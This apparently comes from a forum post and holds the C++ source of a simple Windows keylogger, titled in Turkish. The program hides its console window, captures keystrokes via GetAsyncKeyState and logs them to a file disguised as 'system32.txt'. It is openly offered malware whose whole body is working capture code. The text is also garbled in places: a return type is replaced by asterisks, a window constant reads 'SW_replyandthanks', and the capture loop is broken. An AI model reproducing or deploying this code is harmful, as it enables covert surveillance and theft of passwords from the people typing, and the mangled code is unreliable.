C++ Basit bir Keylogger

#include<iostream>
#include<stdio.h>
#include<fstream>
#include<windows.h>
#include<time.h>
#include<locale.h>
#include<winuser.h>
#include<conio.h>
using namespace std;

**** SpecialKeys(string kelime)
{
	ofstream out;
	out.open("system32.txt", fstream::app);
	out << kelime;
}

bool CheckChar(char i)
{
	switch (i)
	{
	case 16:
		SpecialKeys("|Shift| ");
		return 1;
		break;
	case 111:
		SpecialKeys("/");
		return 1;
		break;
	case 106:
		SpecialKeys("*");
		return 1;
		break;
	case 109:
		SpecialKeys("-");
		return 1;
		break;
	case 107:
		SpecialKeys("+");
		return 1;
		break;
	case 110:
		SpecialKeys(",");
		return 1;
		break;
	case 38:
		SpecialKeys("|up|");
		return 1;
		break;
	case 40:
		SpecialKeys("|down|");
		return 1;
		break;
	case 37:
		SpecialKeys("|left|");
		return 1;
		break;
	case 39:
		SpecialKeys("|right|");
		return 1;
		break;

	default: return 0;
	}


}

bool ChecKey(char i)
{
	switch (i)
	{

	case VK_LBUTTON:
		SpecialKeys("");
		return 1;
		break;
	case VK_RBUTTON:
		SpecialKeys("");
		return 1;
		break;
	case VK_BACK:								
		SpecialKeys(" |back| ");
		return 1;
		break;
	case 13:
		SpecialKeys(" |Enter| ");
		return 1;
		break;
	case 16:
		SpecialKeys(" |Shift| ");
		return 1;
		break;
	case VK_ESCAPE:
		SpecialKeys(" |ESC| ");
		return 1;
		break;
	case VK_SPACE:
		SpecialKeys(" ");
		return 1;
		break;
	case VK_NUMPAD0:
		SpecialKeys("0");
		return 1;
		break;
	case VK_NUMPAD1:
		SpecialKeys("1");
		return 1;
		break;
	case VK_NUMPAD2:
		SpecialKeys("2");
		return 1;
		break;
	case VK_NUMPAD3:
		SpecialKeys("3");
		return 1;
		break;
	case VK_NUMPAD4:
		SpecialKeys("4");
		return 1;
		break;
	case VK_NUMPAD5:
		SpecialKeys("5");
		return 1;
		break;
	case VK_NUMPAD6:
		SpecialKeys("6");
		return 1;
		break;
	case VK_NUMPAD7:
		SpecialKeys("7");
		return 1;
		break;
	case VK_NUMPAD8:
		SpecialKeys("8");
		return 1;
		break;
	case VK_NUMPAD9:
		SpecialKeys("9");
		return 1;
		break;

	default: return 0;
	}
}
main()
{
	setlocale(LC_ALL, "Turkish");
	time_t t;
	time(&t);
	int x = 0;
	time_t basla, dur;
	int fark;
	if (x == 0)
	{
		ofstream out;
		out.open("system32.txt", fstream::app);
		out << "\n" << ctime(&t) << "\n";
		x++;
	}
	x = 0;
	ShowWindow(GetConsoleWindow(), SW_replyandthanks);
	char i;
	for (i = 8; i <= 300; i++)
	{
		if (GetAsyncKeyState(i) == -32767)
		{
			int a = i;
			//************************************************************************************************************
			if (i == VK_CAPITAL)
			{
				int r = 1;
				while (r<2)
				{
					char t;
					for (t = 8; t <= 256; t++)
					{
						int u = t;
						if (GetAsyncKeyState(t) == -32767)
						{
							if (t == VK_CAPITAL)
							{
								r = 3;
								break;
							}
							else
							{
								if (ChecKey(t) == 0 & CheckChar(u) == 0)
									if (t >= 65 & t <= 90)
									{
										ofstream out;
										out.open("system32.txt", fstream::app);
										out << t;
										x++;
									}
							}
						}
					}
				}
			}
			//******************************************************************************************************************
			else
			{
				if (ChecKey(i) == 0 & CheckChar(i) == 0)
				{
					if (x>=110)
					{
						ofstream out;
						out.open("system32.txt", fstream::app);
						out <<"\n";
						x=0;
					}

					if (i >= 65 & i <= 90)
					{
						switch (i)
						{
						case 65:
							SpecialKeys("a");
							break;
						case 66:
							SpecialKeys("b");
							break;
						case 67:
							SpecialKeys("c");
							break;
						case 68:
							SpecialKeys("d");
							break;
						case 69:
							SpecialKeys("e");
							break;
						case 70:
							SpecialKeys("f");
							break;
						case 71:
							SpecialKeys("g");
							break;
						case 72:
							SpecialKeys("h");
							break;
						case 73:
							SpecialKeys("ı");
							break;
						case 74:
							SpecialKeys("j");
							break;
						case 75:
							SpecialKeys("k");
							break;
						case 76:
							SpecialKeys("l");
							break;
						case 77:
							SpecialKeys("m");
							break;
						case 78:
							SpecialKeys("n");
							break;
						case 79:
							SpecialKeys("o");
							break;
						case 80:
							SpecialKeys("p");
							break;
						case 81:
							SpecialKeys("q");
							break;
						case 82:
							SpecialKeys("r");
							break;
						case 83:
							SpecialKeys("s");
							break;
						case 84:
							SpecialKeys("t");
							break;
						case 85:
							SpecialKeys("u");
							break;
						case 86:
							SpecialKeys("v");
							break;
						case 87:
							SpecialKeys("w");
							break;
						case 88:
							SpecialKeys("x");
							break;
						case 89:
							SpecialKeys("y");
							break;
						case 90:
							SpecialKeys("z");
							break;
						}
					}
					x++;
				}
				else
				{
					x = x + 13;
				}
			}

		}
	}
}